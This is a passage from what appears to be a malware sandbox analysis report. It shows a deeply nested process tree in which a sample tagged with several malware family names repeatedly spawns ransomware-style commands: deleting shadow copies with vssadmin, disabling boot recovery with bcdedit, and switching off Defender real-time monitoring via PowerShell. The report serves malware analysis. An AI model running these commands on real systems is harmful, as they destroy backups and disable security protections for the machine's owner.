        65⤵
        
        PID:7000
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        66⤵
        Interacts with shadow copies
        
        PID:6976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        65⤵
        Executes a command shell one-liner
        
        PID:6172
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        66⤵
        Modifies boot configuration data using bcdedit
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        65⤵
        
        PID:4184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        66⤵
        Executes a command shell one-liner
        
        PID:7120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        67⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        66⤵
        
        PID:4316
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        67⤵
        
        PID:6432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        66⤵
        
        PID:6356
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        67⤵
        Modifies boot configuration data using bcdedit
        
        PID:6384
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        66⤵
        
        PID:6236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        67⤵
        
        PID:6404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        68⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        67⤵
        
        PID:6660
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        68⤵
        Interacts with shadow copies
        
        PID:6688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        67⤵
        
        PID:6608
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        68⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        67⤵
        
        PID:6652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        68⤵
        
        PID:6612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        69⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        68⤵
        Executes a command shell one-liner
        
        PID:7016
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        69⤵
        Interacts with shadow copies
        
        PID:6852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        68⤵
        
        PID:6924
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        69⤵
        
        PID:6820
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        68⤵
        
        PID:6876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        69⤵
        Executes a command shell one-liner
        
        PID:7040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        70⤵
        Disables one or more Microsoft Defender components
        
        PID:6956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        69⤵
        
        PID:7144
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        70⤵
        
        PID:7080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        69⤵
        
        PID:3892
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        70⤵
        
        PID:2484
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        69⤵
        
        PID:7108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        70⤵
        Executes a command shell one-liner
        
        PID:1124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        71⤵
        Disables one or more Microsoft Defender components
        
        PID:4164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        70⤵
        
        PID:6296
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        71⤵
        
        PID:6424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        70⤵
        
        PID:6400
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        71⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        70⤵
        
        PID:6576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        71⤵
        
        PID:6688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        72⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6588
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        71⤵
        Executes a command shell one-liner
        
        PID:6428
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        72⤵
        
        PID:6916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        71⤵
        
        PID:6848
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        72⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        71⤵
        
        PID:6868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        72⤵
        
        PID:6168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        73⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        72⤵
        
        PID:3204
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        73⤵
        Interacts with shadow copies
        
        PID:7080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        72⤵
        Executes a command shell one-liner
        
        PID:1428
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        73⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        72⤵
        
        PID:6256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        73⤵
        
        PID:6368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        74⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        73⤵
        
        PID:6240
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        74⤵
        Interacts with shadow copies
        
        PID:6616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        73⤵
        
        PID:5524
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        74⤵
        
        PID:6568
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        73⤵
        
        PID:324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        74⤵
        Executes a command shell one-liner
        
        PID:6836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        75⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        74⤵
        
        PID:6856
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        75⤵
        Interacts with shadow copies
        
        PID:4304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        74⤵
        
        PID:4456
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        75⤵
        
        PID:6156
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        74⤵
        
        PID:7092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        75⤵
        
        PID:4960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        76⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        75⤵
        
        PID:680
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        76⤵
        Interacts with shadow copies
        
        PID:240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        75⤵
        
        PID:6476
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        76⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        75⤵
        
        PID:6376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        76⤵
        Executes a command shell one-liner
        
        PID:6472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        77⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        76⤵
        
        PID:5180
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        77⤵
        Interacts with shadow copies
        
        PID:1452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        76⤵
        
        PID:6832
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        77⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        76⤵
        
        PID:6628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        77⤵
        
        PID:6968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        78⤵
        Disables one or more Microsoft Defender components
        
        PID:6896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        77⤵
        
        PID:888
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        78⤵
        
        PID:1792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        77⤵
        
        PID:2572
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        78⤵
        
        PID:6164
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        77⤵
        
        PID:336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        78⤵
        
        PID:6436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        79⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4920
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        78⤵
        
        PID:2868
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        79⤵
        Interacts with shadow copies
        
        PID:6308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        78⤵
        Executes a command shell one-liner
        
        PID:3584
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        79⤵
        
        PID:6460
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        78⤵
        
        PID:6344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        79⤵
        
        PID:5780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        80⤵
        Disables one or more Microsoft Defender components
        
        PID:6744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        79⤵
        
        PID:1312
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        80⤵
        Interacts with shadow copies
        
        PID:3428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        79⤵
        Executes a command shell one-liner
        
        PID:6788
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        80⤵
        
        PID:6148
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        79⤵
        
        PID:4304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        80⤵
        
        PID:6784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        81⤵
        Disables one or more Microsoft Defender components
        
        PID:3444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        80⤵
        
        PID:6008
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        81⤵
        
        PID:3900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        80⤵
        
        PID:4364
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        81⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        80⤵
        
        PID:2984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        81⤵
        
        PID:6304
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        82⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        81⤵
        
        PID:7032
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        82⤵
        
        PID:2828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        81⤵
        Executes a command shell one-liner
        
        PID:5676
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        82⤵
        
        PID:304
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        81⤵
        
        PID:5536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        82⤵
        Executes a command shell one-liner
        
        PID:6600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        83⤵
        Disables one or more Microsoft Defender components
        
        PID:5868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        82⤵
        
        PID:5512
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        83⤵
        Interacts with shadow copies
        
        PID:6736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        82⤵
        
        PID:6620
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        83⤵
        
        PID:3176
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        82⤵
        
        PID:5576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        83⤵
        
        PID:1120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        84⤵
        Disables one or more Microsoft Defender components
        
        PID:6164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        83⤵
        
        PID:6672
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        84⤵
        Interacts with shadow copies
        
        PID:6708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        83⤵
        
        PID:6432
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        84⤵
        
        PID:1260
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        83⤵
        
        PID:6408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        84⤵
        Executes a command shell one-liner
        
        PID:2616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        85⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5068
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        84⤵
        Executes a command shell one-liner
        
        PID:4372
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        85⤵
        
        PID:4124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        84⤵
        
        PID:1476
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        85⤵
        
        PID:4496
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        84⤵
        
        PID:3508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        85⤵
        
        PID:2808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        86⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        85⤵
        Executes a command shell one-liner
        
        PID:3092
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        86⤵
        Interacts with shadow copies
        
        PID:3176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        85⤵
        
        PID:924
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        86⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        85⤵
        
        PID:2204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        86⤵
        
        PID:3452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        87⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        86⤵
        
        PID:3696
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        87⤵
        Interacts with shadow copies
        
        PID:6456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        86⤵
        Executes a command shell one-liner
        
        PID:4640
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        87⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        86⤵
        
        PID:6312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        87⤵
        
        PID:6616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        88⤵
        Disables one or more Microsoft Defender components
        
